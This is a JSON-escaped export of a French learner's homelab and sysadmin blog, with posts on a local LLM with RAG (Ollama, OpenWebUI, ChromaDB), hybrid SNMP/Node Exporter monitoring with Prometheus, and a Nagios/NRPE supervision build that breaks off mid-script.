chemin.\nTester petit et souvent plutôt que de déployer un énorme playbook d\u0026rsquo;un coup m\u0026rsquo;a sauvé d\u0026rsquo;innombrables rollbacks. Et ne pas ignorer les logs, j\u0026rsquo;ai découvert Event Viewer Windows très tard, alors que les messages d\u0026rsquo;erreur Kerberos y sont ultra-détaillés.\nLes erreurs à éviter : copier-coller des scripts sans les comprendre jusqu\u0026rsquo;au bout, négliger les tests sur un utilisateur avant de scaler à 40+, et croire que les tests unitaires ne sont pas importants pour du code d\u0026rsquo;automatisation.\nPour aller plus loin Les scripts et la documentation complète sont sur GitHub. Si tu fais un projet similaire, n\u0026rsquo;hésite pas à creuser la documentation Microsoft sur Active Directory, les guides Ansible pour Windows, et les ressources du MIT sur Kerberos.\n","permalink":"https://appercel-clement.netlify.app/posts/asrs8/","summary":"\u003cblockquote\u003e\n\u003cp\u003e⚠️ \u003cstrong\u003eDisclaimer\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eLa méthode que je présente ici correspond à ma propre démarche d\u0026rsquo;apprentissage. Elle peut contenir des approximations ou des erreurs, car j\u0026rsquo;apprends et je progresse chaque jour un peu plus. Ne prenez donc pas ce que je fais comme une référence absolue, mais plutôt comme un retour d\u0026rsquo;expérience personnel.\u003c/p\u003e\u003c/blockquote\u003e\n\u003ch2 id=\"introduction\"\u003eIntroduction\u003c/h2\u003e\n\u003cp\u003eJ\u0026rsquo;ai construit une infrastructure IT fonctionnelle pour une entreprise fictive appelée Vertex Studio, un studio de développement de jeux vidéo. Ce projet m\u0026rsquo;a demandé de concevoir et déployer un environnement complet avec Active Directory, GLPI pour la gestion de parc, et Ansible pour l\u0026rsquo;automatisation. Je vais te partager comment j\u0026rsquo;ai abordé les défis techniques, notamment les pièges de l\u0026rsquo;authentification Kerberos, et ce que j\u0026rsquo;en ai tiré sur le plan professionnel.\u003c/p\u003e","title":"ASRS Projet 8 : Infrastructure IT complète pour studio de jeux vidéo (AD, GLPI, Ansible)"},{"content":" ⚠️ Disclaimer\nLa méthode que je présente ici correspond à ma propre démarche d\u0026rsquo;apprentissage. Elle peut contenir des approximations ou des erreurs, car j\u0026rsquo;apprends et je progresse chaque jour un peu plus. Ne prenez donc pas ce que je fais comme une référence absolue, mais plutôt comme un retour d\u0026rsquo;expérience personnel.\nContexte et objectifs Depuis que j\u0026rsquo;ai commencé ma reconversion en cybersécurité, j\u0026rsquo;ai voulu explorer l\u0026rsquo;intersection entre IA et souveraineté des données. Le déclencheur a été simple : je cherchais un moyen de poser des questions sur ma documentation homelab sans copier-coller des configs sensibles dans ChatGPT.\nL\u0026rsquo;idée était de monter une solution équivalente à ChatGPT, mais qui tourne entièrement sur mon infrastructure locale. Pas de requête vers OpenAI, Google ou autre service cloud. Tout reste chez moi, dans le homelab.\nObjectifs du projet :\nDéployer un LLM (Large Language Model) local fonctionnel Implémenter du RAG (Retrieval Augmented Generation) pour interroger mes propres documents Démontrer une maîtrise de l\u0026rsquo;architecture IA locale, un différenciateur pour mon profil reconversion Avoir un cas d\u0026rsquo;usage concret pour le portfolio : conformité RGPD by design Contexte homelab :\nMon infrastructure tourne principalement sur trois mini-PC sous Proxmox (96 Go RAM chacun), avec un pfSense pour le réseau et un NAS Synology pour le stockage. Pour ce projet spécifique, j\u0026rsquo;ai utilisé mon Mac M4 Pro (64 Go RAM) comme serveur IA, principalement pour profiter du Neural Engine optimisé pour l\u0026rsquo;inférence de modèles de langage.\nArchitecture et choix techniques Vue d\u0026rsquo;ensemble L\u0026rsquo;architecture repose sur trois containers Docker orchestrés via Docker Compose :\nOllama : le runtime qui fait tourner le modèle de langage (Mistral 7B dans mon cas) OpenWebUI : une interface web type ChatGPT, open source, qui gère l\u0026rsquo;authentification et le RAG ChromaDB : la base vectorielle qui stocke les embeddings des documents pour la recherche sémantique Le tout communique via réseau Docker interne. Seuls les ports d\u0026rsquo;interface sont exposés (3001 pour OpenWebUI, 11434 pour l\u0026rsquo;API Ollama).\nPourquoi ces choix plutôt que d\u0026rsquo;autres ? Ollama vs solutions cloud : Ollama permet de faire tourner des modèles open source localement, avec optimisation Apple Silicon. C\u0026rsquo;est le seul runtime qui exploite vraiment le Neural Engine du Mac M4 Pro. J\u0026rsquo;ai testé llama.cpp avant, mais les performances étaient nettement inférieures.\nOpenWebUI vs interface custom : J\u0026rsquo;aurais pu coder une interface from scratch, mais OpenWebUI gère déjà l\u0026rsquo;authentification multi-utilisateurs, l\u0026rsquo;historique des conversations, et l\u0026rsquo;intégration RAG native avec ChromaDB. Pourquoi réinventer la roue ?\nChromaDB vs alternatives (Pinecone, Weaviate) : ChromaDB est léger, open source, et ne nécessite aucune configuration complexe. Pinecone est cloud-based donc hors sujet pour un projet local. Weaviate est plus lourd et surdimensionné pour un homelab.\nMac M4 Pro vs VM Proxmox : Le Neural Engine fait toute la différence. Sur Mistral 7B, j\u0026rsquo;obtiens 40 tokens/sec sur Mac contre environ 15-20 tokens/sec sur une VM x86 classique. Le projet est par ailleurs totalement portable : migration vers Linux possible en 30 minutes via Docker Compose.\nMise en œuvre Étape 1 : Stack de base (Ollama + OpenWebUI) La première étape a consisté à monter la stack Docker minimale : Ollama pour le runtime LLM, OpenWebUI pour l\u0026rsquo;interface.\nLe fichier docker-compose.yml définit les deux services avec leurs dépendances. J\u0026rsquo;ai mappé le port OpenWebUI sur 3001 au lieu de 3000 (port par défaut) car j\u0026rsquo;ai déjà Grafana qui tourne sur ce port.\n1 2 3 4 5 6 openwebui: image: ghcr.io/open-webui/open-webui:main ports: - \u0026#34;3001:8080\u0026#34; # Port modifié pour éviter conflit avec Grafana environment: - OLLAMA_BASE_URL=http://ollama:11434 Le téléchargement de Mistral 7B (environ 4 Go) a pris une dizaine de minutes. Première déception : j\u0026rsquo;ai essayé Llama 3.3 70B, mais avec ses 42 Go en RAM, le Mac saturait complètement. Retour à Mistral 7B, qui tient largement dans les 64 Go disponibles.\nDifficultés rencontrées :\nErreur 401 lors du premier accès au panneau admin après création du compte. Le container OpenWebUI était dans un état incohérent. Un simple docker restart openwebui a résolu le problème. J\u0026rsquo;ai appris que les containers peuvent avoir des états de session persistants qui survivent aux redémarrages normaux.\nÉtape 2 : Ajout de ChromaDB et configuration RAG L\u0026rsquo;ajout de ChromaDB au docker-compose.yml était simple en soi, mais j\u0026rsquo;ai passé un moment à comprendre comment OpenWebUI gère les collections.\nProblème : les collections créées via script Python (avec des noms explicites comme homelab_docs) n\u0026rsquo;apparaissaient pas dans OpenWebUI. Et inversement, les collections créées via l\u0026rsquo;interface web avaient des noms en UUID incompréhensibles.\nExplication : OpenWebUI utilise deux couches. Une base SQLite interne qui stocke les métadonnées (noms lisibles des \u0026ldquo;Knowledge Bases\u0026rdquo;), et ChromaDB qui stocke les vecteurs avec des UUID générés automatiquement. Le mapping entre les deux est géré par OpenWebUI. Résultat : impossible d\u0026rsquo;accéder directement aux collections OpenWebUI depuis un script externe.\nSolution : maintenir deux collections séparées. Une pour les tests manuels via OpenWebUI, une autre (homelab_docs) pour l\u0026rsquo;automatisation via scripts Python. Pas élégant, mais fonctionnel.\n1 2 3 4 5 6 7 # Inspection des collections existantes import chromadb client = chromadb.HttpClient(host=\u0026#34;localhost\u0026#34;, port=8000) for coll in client.list_collections(): print(f\u0026#34;Collection : {coll.name}\u0026#34;) # Les collections OpenWebUI ont des noms type \u0026#34;file-9e023747-0d4d-4a0d-aa68-ba34801e4367\u0026#34; Étape 3 : Script d\u0026rsquo;ingestion automatique L\u0026rsquo;objectif était de scanner un dossier de documentation et d\u0026rsquo;indexer automatiquement les nouveaux fichiers dans ChromaDB.\nLe principe du RAG repose sur le chunking : découper les documents en morceaux de 500 caractères environ, avec un chevauchement de 50 caractères pour éviter de couper des phrases importantes. Chaque chunk est ensuite transformé en vecteur (embedding) par ChromaDB.\nJ\u0026rsquo;ai testé plusieurs tailles de chunks (300, 500, 800 caractères). 500 donnait le meilleur équilibre : assez de contexte pour que le modèle comprenne, mais pas trop pour éviter de diluer l\u0026rsquo;information pertinente.\nLe script scan le dossier, détecte les nouveaux fichiers, les découpe, et les ingère dans ChromaDB. Ajout d\u0026rsquo;un cron job pour exécution nocturne automatique.\nDifficultés rencontrées :\nTemps de réponse incohérents au début : parfois 5 secondes, parfois 2 minutes pour la même question. Cause identifiée : le paramètre \u0026ldquo;Top K\u0026rdquo; dans OpenWebUI était trop élevé (10 chunks récupérés au lieu de 3). Résultat : trop de contexte envoyé à Ollama, qui met du temps à traiter. Réduction à Top K = 3, temps stabilisé à 10-15 secondes.\nRésultat final Le système fonctionne de bout en bout. Je peux poser des questions en langage naturel sur mes documents, et l\u0026rsquo;IA répond en se basant sur le contenu indexé.\nExemple concret :\nSans RAG activé :\nQuestion : \u0026ldquo;Quels ports utilise mon homelab ?\u0026rdquo;\nRéponse : \u0026ldquo;Les homelabs utilisent généralement les ports 80, 443, 8080 pour les services web\u0026hellip;\u0026rdquo;\nAvec RAG activé (Knowledge \u0026ldquo;Logs Homelab\u0026rdquo;) :\nQuestion : \u0026ldquo;Quels ports utilise mon homelab ?\u0026rdquo;\nRéponse : \u0026ldquo;Selon ta documentation, ton homelab utilise Grafana sur le port 3000, OpenWebUI sur 3001, Ollama API sur 11434, et ChromaDB sur 8000.\u0026rdquo;\nLa différence est significative. L\u0026rsquo;IA ne devine plus, elle se base sur mes fichiers.\nMétriques concrètes :\nTemps de réponse moyen avec RAG : 10-15 secondes Tokens générés par seconde : ~40 (Mistral 7B sur Mac M4 Pro) Documents indexés actuellement : ~10 fichiers, 50 chunks RAM utilisée par Ollama : ~8 Go (Mistral 7B chargé en mémoire) Cas d\u0026rsquo;usage réels :\nRetrouver rapidement une commande Docker oubliée sans chercher dans 15 fichiers README Poser des questions sur mes configurations pfSense sans relire toute la doc Analyser les logs collectés par Loki (prochaine étape : intégration automatique) Ce que j\u0026rsquo;ai appris Sur le plan technique Architecture microservices : J\u0026rsquo;ai compris concrètement comment orchestrer plusieurs services qui communiquent entre eux. OpenWebUI appelle Ollama via réseau Docker, récupère des données de ChromaDB, tout ça de façon transparente.\nBases vectorielles et embeddings : Avant ce projet, les embeddings étaient un concept abstrait. Maintenant je comprends pourquoi on transforme du texte en vecteurs mathématiques : pour faire de la recherche sémantique. Deux phrases avec des mots différents mais un sens proche auront des vecteurs proches dans l\u0026rsquo;espace vectoriel.\nOptimisation des LLM : J\u0026rsquo;ai appris que le modèle n\u0026rsquo;est qu\u0026rsquo;une partie du problème. La vraie valeur vient du contexte fourni (RAG), de la taille des chunks, du nombre de résultats récupérés. Un bon prompt engineering fait toute la différence.\nSur le plan méthodologique Toujours tester avant d\u0026rsquo;automatiser : J\u0026rsquo;ai voulu scripter l\u0026rsquo;ingestion automatique dès le départ. Grosse erreur. J\u0026rsquo;ai perdu du temps à déboguer un script alors que le problème venait de ma compréhension du fonctionnement d\u0026rsquo;OpenWebUI. Depuis, je teste manuellement d\u0026rsquo;abord, je comprends, puis j\u0026rsquo;automatise.\nLa documentation technique n\u0026rsquo;est pas toujours à jour : La doc OpenWebUI mentionnait une intégration ChromaDB \u0026ldquo;simple\u0026rdquo;. Dans la réalité, il y a eu des changements d\u0026rsquo;architecture entre versions. J\u0026rsquo;ai dû consulter les issues GitHub et le code source pour comprendre le fonctionnement réel.\nErreurs à éviter Ne pas sous-estimer la RAM nécessaire : J\u0026rsquo;ai perdu une journée à essayer de faire tourner Llama 3.3 70B (42 Go) sur un Mac avec 64 Go de RAM. Ça sature complètement le système. Rester sur des modèles 7B-13B pour un usage homelab.\nAttention aux mappings de ports Docker : J\u0026rsquo;ai oublié que Grafana tournait déjà sur le port 3000. Résultat : conflit au démarrage d\u0026rsquo;OpenWebUI. Toujours vérifier les ports utilisés avant (lsof -i :PORT).\nChromaDB et collections OpenWebUI ne communiquent pas directement : Si vous créez une collection via script Python, elle ne sera pas visible dans l\u0026rsquo;interface OpenWebUI, et vice-versa. Prévoir deux workflows séparés ou utiliser uniquement l\u0026rsquo;API OpenWebUI.\nRessources et liens Code source et documentation technique :\nRepo GitHub du projet IA locale (contient docker-compose.yml, scripts Python, docs) Ressources qui m\u0026rsquo;ont aidé :\nDocumentation Ollama - notamment la partie optimisation Apple Silicon OpenWebUI GitHub - j\u0026rsquo;ai passé du temps dans les issues pour comprendre le mapping ChromaDB ChromaDB Getting Started - excellente doc, très claire Article Anthropic sur le RAG - pour comprendre les concepts Fichiers projet sur GitHub :\ndocker-compose.yml - stack complète scripts/loki_to_chromadb_bis.py - script d\u0026rsquo;ingestion des logs Loki scripts/ingest_docs.py - script d\u0026rsquo;ingestion générique de documents README.md - guide complet d\u0026rsquo;installation et troubleshooting Prochaines étapes Court terme (en cours) :\nAutomatiser complètement l\u0026rsquo;ingestion des logs. J\u0026rsquo;ai déjà un script qui récupère les logs depuis Loki et les pousse dans ChromaDB. Prochaine étape : configurer un cron job pour exécution automatique deux fois par jour.\nMoyen terme :\nTester d\u0026rsquo;autres modèles. Mistral 7B fonctionne bien, mais je veux évaluer Qwen 2.5 Coder 32B, spécialisé dans l\u0026rsquo;analyse technique et les logs. Il nécessite environ 24 Go de RAM, ce qui rentre dans les capacités du Mac.\nImplémenter la génération automatique de rapports quotidiens. L\u0026rsquo;idée : un script qui interroge l\u0026rsquo;IA chaque matin avec un prompt type \u0026ldquo;Analyse les logs des dernières 24h et génère un rapport structuré\u0026rdquo;, puis envoie le résultat par email. Gain de temps potentiel énorme pour du monitoring SOC.\nLong terme :\nMigration test vers Proxmox. Le Mac M4 Pro fonctionne très bien, mais je veux comparer les performances ARM vs x86 sur une VM Linux. L\u0026rsquo;architecture Docker rend ça trivial : copier le docker-compose.yml, relancer la stack, benchmarker.\nIntégration avec Wazuh SIEM. J\u0026rsquo;ai déjà Wazuh qui tourne sur Proxmox pour la centralisation des logs de sécurité. L\u0026rsquo;objectif serait de faire analyser automatiquement les alertes Wazuh par l\u0026rsquo;IA et de générer des rapports d\u0026rsquo;incidents en langage naturel pour un RSSI.\nTags : IA Docker RAG ChromaDB Ollama homelab RGPD LLM\n","permalink":"https://appercel-clement.netlify.app/posts/d%C3%A9ployer-une-ia-locale-avec-rag-sur-son-homelab/","summary":"\u003cblockquote\u003e\n\u003cp\u003e⚠️ \u003cstrong\u003eDisclaimer\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eLa méthode que je présente ici correspond à ma propre démarche d\u0026rsquo;apprentissage. Elle peut contenir des approximations ou des erreurs, car j\u0026rsquo;apprends et je progresse chaque jour un peu plus. Ne prenez donc pas ce que je fais comme une référence absolue, mais plutôt comme un retour d\u0026rsquo;expérience personnel.\u003c/p\u003e\u003c/blockquote\u003e\n\u003ch2 id=\"contexte-et-objectifs\"\u003eContexte et objectifs\u003c/h2\u003e\n\u003cp\u003eDepuis que j\u0026rsquo;ai commencé ma reconversion en cybersécurité, j\u0026rsquo;ai voulu explorer l\u0026rsquo;intersection entre IA et souveraineté des données. Le déclencheur a été simple : je cherchais un moyen de poser des questions sur ma documentation homelab sans copier-coller des configs sensibles dans ChatGPT.\u003c/p\u003e","title":"Déployer une IA locale avec RAG sur son homelab"},{"content":" ⚠️ Disclaimer\nLa méthode que je présente ici correspond à ma propre démarche d\u0026rsquo;apprentissage. Elle peut contenir des approximations ou des erreurs, car j\u0026rsquo;apprends et je progresse chaque jour un peu plus. Ne prenez donc pas ce que je fais comme une référence absolue, mais plutôt comme un retour d\u0026rsquo;expérience personnel.\nIntroduction : La Tentation de l\u0026rsquo;Uniformité Lors de la conception d\u0026rsquo;une architecture de monitoring pour une infrastructure réseau, l\u0026rsquo;approche \u0026ldquo;tout SNMP\u0026rdquo; semble initialement séduisante. Ce protocole standardisé depuis plus de 30 ans promet une collecte de métriques unifiée et agentless (sans installation d\u0026rsquo;agent sur les équipements cibles).\nDans le cadre de mon projet de monitoring d\u0026rsquo;infrastructure, j\u0026rsquo;ai initialement opté pour cette stratégie. La réalité du terrain m\u0026rsquo;a rapidement confronté aux limites de cette approche, me conduisant à pivoter vers une architecture hybride combinant SNMP et Node Exporter.\nCet article documente ce cheminement technique et les enseignements tirés de cette expérience.\nLes limites constatées du SNMP : l\u0026rsquo;exemple du pfSense Contexte technique Mon objectif initial était d\u0026rsquo;interroger mon routeur pfSense exclusivement via SNMP, en activant simplement le service dans l\u0026rsquo;interface web et en configurant Prometheus pour la collecte des métriques.\nProblématique rencontrée L\u0026rsquo;implémentation s\u0026rsquo;est heurtée à des erreurs HTTP 400 (Bad Request) récurrentes. L\u0026rsquo;analyse a révélé que le module host_resources_mib, censé exposer les métriques CPU et RAM, n\u0026rsquo;était pas correctement implémenté ou présentait des incompatibilités avec la version de SNMP Exporter utilisée (v0.29.0).\nAnalyse des limitations Le protocole SNMP fonctionne selon un modèle d\u0026rsquo;interrogation distante : le collecteur interroge des OID (Object Identifiers) définis dans une MIB (Management Information Base). Cette approche présente plusieurs contraintes :\nLe protocole présente plusieurs limitations notables :\nLa visibilité système est limitée : impossibilité d\u0026rsquo;obtenir des métriques avancées (température SMART des disques) sans scripts additionnels complexes, avec une granularité insuffisante sur certaines ressources (moyenne CPU globale plutôt que charge par cœur).\nL\u0026rsquo;impact sur les ressources peut être significatif : le démon snmpd peut consommer des ressources appréciables sur des équipements de capacité modeste lors de collectes volumineuses.\nIl existe une dépendance critique aux implémentations constructeur, car la qualité et l\u0026rsquo;exhaustivité des MIB varient selon les équipements et leurs fabricants.\nL\u0026rsquo;adoption de Node Exporter : une approche complémentaire Principe de fonctionnement Node Exporter se distingue fondamentalement du SNMP par son positionnement : il s\u0026rsquo;agit d\u0026rsquo;un agent qui s\u0026rsquo;exécute directement au sein du système d\u0026rsquo;exploitation cible. Cette position lui confère un accès privilégié aux interfaces kernel (Linux/FreeBSD), permettant une collecte de métriques exhaustive et précise.\nDéploiement sur Proxmox (Debian-based) L\u0026rsquo;installation sur l\u0026rsquo;hyperviseur Proxmox s\u0026rsquo;effectue via le gestionnaire de paquets système :\n1 sudo apt update \u0026amp;\u0026amp; sudo apt install prometheus-node-exporter -y Le paquet officiel de la distribution offre plusieurs avantages : intégration automatique dans le système de mises à jour de sécurité, signatures cryptographiques vérifiées, et configuration par défaut validée par les mainteneurs Debian.\nConfiguration Prometheus : architecture hybride La configuration finale intègre deux types de collecteurs distincts dans le fichier prometheus.yml :\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 scrape_configs: # --- Collecte système (Node Exporter) --- - job_name: \u0026#39;serveur-coeur-system\u0026#39; scrape_interval: 15s static_configs: - targets: - \u0026#39;10.0.0.10:9100\u0026#39; # Proxmox - \u0026#39;10.0.0.1:9100\u0026#39; # pfSense metric_relabel_configs: - source_labels: [__name__] regex: \u0026#39;node_.*\u0026#39; action: keep relabel_configs: - source_labels: [__address__] target_label: instance - target_label: security_level replacement: \u0026#39;critical\u0026#39; # --- Collecte réseau (SNMP) --- - job_name: \u0026#39;switch-mikrotik\u0026#39; static_configs: - targets: [\u0026#39;10.0.0.254\u0026#39;] metrics_path: /snmp params: auth: [public_v2] module: [if_mib] relabel_configs: - source_labels: [__address__] target_label: __param_target - target_label: __address__ replacement: 10.0.0.5:9116 # Conteneur snmp-exporter Analyse de la configuration Pour Node Exporter, l\u0026rsquo;intervalle de collecte est réduit à 15 secondes pour les serveurs critiques, permettant une détection rapide d\u0026rsquo;anomalies. Le filtrage des métriques conserve uniquement celles préfixées node_, réduisant le volume de données stockées.\nPour SNMP, Prometheus utilise un mécanisme de proxy : il envoie une requête HTTP au conteneur snmp-exporter (port 9116), qui traduit cette requête en paquets UDP SNMP vers l\u0026rsquo;équipement cible.\nPerspective sécurité : défense en profondeur Analyse comparative des surfaces d\u0026rsquo;attaque Node Exporter offre une exposition HTTP sur port unique (9100), facilitant la mise en place de règles de filtrage précises et la restriction d\u0026rsquo;accès par ACL firewall à l\u0026rsquo;IP source du serveur Prometheus uniquement. Le trafic est compacté en une seule transmission HTTP, réduisant la surface d\u0026rsquo;écoute réseau. Il nécessite cependant l\u0026rsquo;installation d\u0026rsquo;un agent sur le système cible.\nSNMP (version 2c) présente des limitations sécurité : la \u0026ldquo;communauté\u0026rdquo; (équivalent mot de passe) est transmise en clair sur le réseau, ce qui crée une vulnérabilité à l\u0026rsquo;interception par analyse de trafic. Les multiples allers-retours réseau (GetNextRequest) facilitent en outre la détection et les tentatives de perturbation.\nTest de validation de la segmentation réseau Pour vérifier l\u0026rsquo;efficacité du cloisonnement réseau, j\u0026rsquo;ai effectué un test d\u0026rsquo;accès depuis un VLAN distinct (réseau invité) :\n1 curl --connect-timeout 5 http://10.0.0.10:9100/metrics Résultat attendu : Timeout de connexion, confirmant que les règles de pare-feu interdisent l\u0026rsquo;accès inter-VLAN non autorisé.\nRésultat préoccupant : Réponse HTTP 200, indiquant une configuration de segmentation à revoir.\nRésultats opérationnels L\u0026rsquo;architecture hybride a significativement amélioré la visibilité sur l\u0026rsquo;infrastructure. Avant, avec SNMP exclusif, la collecte était incomplète avec discontinuités dans les séries temporelles, et la visibilité était limitée sur l\u0026rsquo;activité disque et la charge détaillée des processeurs. Après intégration de l\u0026rsquo;approche hybride, nous avons obtenu une granularité fine sur l\u0026rsquo;ensemble des ressources système et la possibilité de créer des alertes avancées basées sur des corrélations de métriques.\nExemple : Détection d\u0026rsquo;activité suspecte L\u0026rsquo;accès aux métriques détaillées a permis la mise en place d\u0026rsquo;une alerte de détection d\u0026rsquo;activité anormale sur le NAS :\n1 2 3 4 5 6 - alert: SuspiciousWriteActivity expr: rate(node_disk_written_bytes_total[5m]) \u0026gt; 100000000 # \u0026gt;100 MB/s for: 10m annotations: summary: \u0026#34;Écriture disque massive détectée sur {{ $labels.instance }}\u0026#34; description: \u0026#34;Activité d\u0026#39;écriture inhabituelle : {{ $value | humanize }}B/s\u0026#34; Cette alerte surveille le débit d\u0026rsquo;écriture sur les disques. Une écriture massive et soutenue en dehors des fenêtres de backup planifiées peut indiquer une compromission (chiffrement ransomware, exfiltration de données).\nConclusion L\u0026rsquo;architecture de monitoring efficace repose sur le choix de l\u0026rsquo;outil adapté à chaque cas d\u0026rsquo;usage plutôt que sur la recherche d\u0026rsquo;une uniformité technique absolue.\nLa répartition retenue distingue SNMP pour les équipements réseau purs (switches, routeurs) où il conserve sa pertinence, et Node Exporter pour les serveurs et systèmes critiques nécessitant une visibilité système exhaustive.\nCette architecture constitue désormais le socle de ma plateforme de supervision. Le prochain article abordera la sécurisation des accès à ces données via l\u0026rsquo;utilisation de Docker Secrets et de fichiers d\u0026rsquo;environnement pour une gestion sécurisée des identifiants.\n","permalink":"https://appercel-clement.netlify.app/posts/architecture-de-monitoring---du-snmp-exclusif-%C3%A0-lapproche-hybride/","summary":"\u003cblockquote\u003e\n\u003cp\u003e⚠️ \u003cstrong\u003eDisclaimer\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eLa méthode que je présente ici correspond à ma propre démarche d\u0026rsquo;apprentissage. Elle peut contenir des approximations ou des erreurs, car j\u0026rsquo;apprends et je progresse chaque jour un peu plus. Ne prenez donc pas ce que je fais comme une référence absolue, mais plutôt comme un retour d\u0026rsquo;expérience personnel.\u003c/p\u003e\u003c/blockquote\u003e\n\u003ch2 id=\"introduction--la-tentation-de-luniformité\"\u003eIntroduction : La Tentation de l\u0026rsquo;Uniformité\u003c/h2\u003e\n\u003cp\u003eLors de la conception d\u0026rsquo;une architecture de monitoring pour une infrastructure réseau, l\u0026rsquo;approche \u0026ldquo;tout SNMP\u0026rdquo; semble initialement séduisante. Ce protocole standardisé depuis plus de 30 ans promet une collecte de métriques unifiée et agentless (sans installation d\u0026rsquo;agent sur les équipements cibles).\u003c/p\u003e","title":"Architecture de monitoring : du SNMP exclusif à l'approche hybride"},{"content":" ⚠️ Disclaimer\nLa méthode que je présente ici correspond à ma propre démarche d\u0026rsquo;apprentissage. Elle peut contenir des approximations ou des erreurs, car j\u0026rsquo;apprends et je progresse chaque jour un peu plus. Ne prenez donc pas ce que je fais comme une référence absolue, mais plutôt comme un retour d\u0026rsquo;expérience personnel.\nContexte et objectifs Dans le cadre d\u0026rsquo;une mission freelance pour HealthData Corp, une entreprise spécialisée dans la mise à disposition de données de santé, j\u0026rsquo;ai été chargé de mettre en œuvre un système de supervision complet. L\u0026rsquo;entreprise faisait face à des problèmes de performance sur son site web et souhaitait anticiper les incidents avant qu\u0026rsquo;ils n\u0026rsquo;impactent les utilisateurs.\nExigences du Projet Le projet devait permettre de :\nSuperviser en temps réel les ressources systèmes et applicatives Centraliser les logs pour faciliter l\u0026rsquo;analyse et la traçabilité Anticiper les incidents grâce à des seuils d\u0026rsquo;alerte configurables Fournir une documentation pour la gestion opérationnelle des alertes La particularité de ce projet résidait dans son contexte médical, imposant des exigences strictes en termes de traçabilité et de conformité (RGPD, audit de sécurité).\nArchitecture déployée L\u0026rsquo;infrastructure repose sur deux machines virtuelles Debian 12 déployées dans un environnement virtualisé :\nServeur Fonction Adresse IP Services monitor-srv Serveur de supervision 172.16.10.100 Nagios Core 4.5.1, Apache 2.4, RSyslog (serveur) app-srv Serveur applicatif 172.16.10.200 WordPress, Apache 2.4, MariaDB 10.x, NRPE 4.1.0, RSyslog (client) Justification de l\u0026rsquo;architecture La séparation des responsabilités est un point clé de cette architecture : le serveur de supervision est isolé du serveur applicatif, ce qui permet de superviser même en cas de problème majeur sur l\u0026rsquo;application.\nEn termes de scalabilité, l\u0026rsquo;architecture NRPE (Nagios Remote Plugin Executor) offre une grande flexibilité. Elle permet d\u0026rsquo;ajouter facilement de nouveaux serveurs à superviser sans modifier profondément l\u0026rsquo;infrastructure.\nLa centralisation des logs via RSyslog en mode serveur/client fournit une traçabilité indispensable pour l\u0026rsquo;audit de sécurité et la conformité réglementaire. C\u0026rsquo;est un élément essentiel dans le contexte médical.\nConcernant la performance, Nagios Core compilé depuis les sources offre de meilleures performances et une plus grande maîtrise de la configuration que les packages pré-compilés.\nInstallation et configuration de Nagios Core Compilation depuis les Sources Le choix de compiler Nagios depuis les sources plutôt que d\u0026rsquo;utiliser un package APT répond à plusieurs besoins :\nMaîtrise totale de la version et des modules Optimisation pour le matériel spécifique Apprentissage approfondi du processus de compilation Flexibilité pour les futures évolutions Installation des dépendances :\n1 2 3 4 sudo apt update sudo apt install -y build-essential apache2 apache2-utils \\ libgd-dev libssl-dev libapache2-mod-php php php-gd \\ unzip wget autoconf gcc libc6 make Téléchargement et compilation de Nagios Core 4.5.1 :\n1 2 3 4 5 6 7 8 9 10 11 12 13 cd /tmp wget https://assets.nagios.com/downloads/nagioscore/releases/nagios-4.5.1.tar.gz tar xzf nagios-4.5.1.tar.gz cd nagios-4.5.1 ./configure --with-httpd-conf=/etc/apache2/sites-enabled make all sudo make install sudo make install-init sudo make install-commandmode sudo make install-config sudo make install-webconf Configuration Apache et authentification Création de l\u0026rsquo;utilisateur administrateur Nagios :\n1 sudo htpasswd -c /usr/local/nagios/etc/htpasswd.users nagiosadmin Activation des modules Apache nécessaires :\n1 2 sudo a2enmod rewrite cgi sudo systemctl restart apache2 Vérification de la configuration :\n1 sudo /usr/local/nagios/bin/nagios -v /usr/local/nagios/etc/nagios.cfg Résultat attendu :\nTotal Warnings: 0 Total Errors: 0 Installation des plugins Nagios Les plugins officiels fournissent les commandes de vérification de base :\n1 2 3 4 5 6 7 8 cd /tmp wget https://nagios-plugins.org/download/nagios-plugins-2.4.6.tar.gz tar xzf nagios-plugins-2.4.6.tar.gz cd nagios-plugins-2.4.6 ./configure --with-nagios-user=nagios --with-nagios-group=nagios make sudo make install Configuration NRPE pour la supervision distante Installation NRPE sur le serveur applicatif NRPE (Nagios Remote Plugin Executor) permet l\u0026rsquo;exécution de plugins sur les serveurs distants de manière sécurisée.\nInstallation :\n1 2 sudo apt update sudo apt install -y nagios-nrpe-server nagios-plugins Configuration dans /etc/nagios/nrpe.cfg :\n1 2 3 4 5 6 7 8 9 10 11 12 13 # Autorisation du serveur Nagios allowed_hosts=127.0.0.1,::1,172.16.10.100 # Configuration du port (par défaut 5666) server_port=5666 # Commandes personnalisées pour les sondes command[check_users]=/usr/lib/nagios/plugins/check_users -w 1 -c 2 command[check_load]=/usr/lib/nagios/plugins/check_load -r -w 0.85,0.80,0.75 -c 0.98,0.95,0.90 command[check_disk]=/usr/lib/nagios/plugins/check_disk -w 70% -c 80% -p / command[check_mem]=/usr/lib/nagios/plugins/check_mem.pl -w 70 -c 85 command[check_http_local]=/usr/lib/nagios/plugins/check_http -H localhost -u / command[check_mysql]=/usr/lib/nagios/plugins/check_mysql -H localhost -u nagios_check -p \u0026#39;SecureP@ss2025\u0026#39; Script personnalisé pour la supervision mémoire Le plugin check_mem.pl n\u0026rsquo;étant pas fourni par défaut, j\u0026rsquo;ai créé un script Perl personnalisé :\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 #!/usr/bin/perl -w use strict; use Getopt::Long; my ($warning, $critical); GetOptions( \u0026#34;w=i\u0026#34; =\u0026gt; \\$warning, \u0026#34;c=i\u0026#34; =\u0026gt; \\$critical ); # Récupération des informations mémoire open(my $fh, \u0026#39;\u0026lt;\u0026#39;, \u0026#39;/proc/meminfo\u0026#39;) or die \u0026#34;Cannot open /proc/meminfo: $!\u0026#34;; my %mem; while (\u0026lt;$fh\u0026gt;) { if (/^(\\w+):\\s+(\\d+)/) { $mem{$1} = $2; } } close($fh); # Calcul du pourcentage utilisé my $total = $mem{MemTotal}; my $available = $mem{MemAvailable} || ($mem{MemFree} + $mem{Buffers} + $mem{Cached}); my $used = $total - $available; my $percent_used = int(($used / $total) * 100); # Détermination de 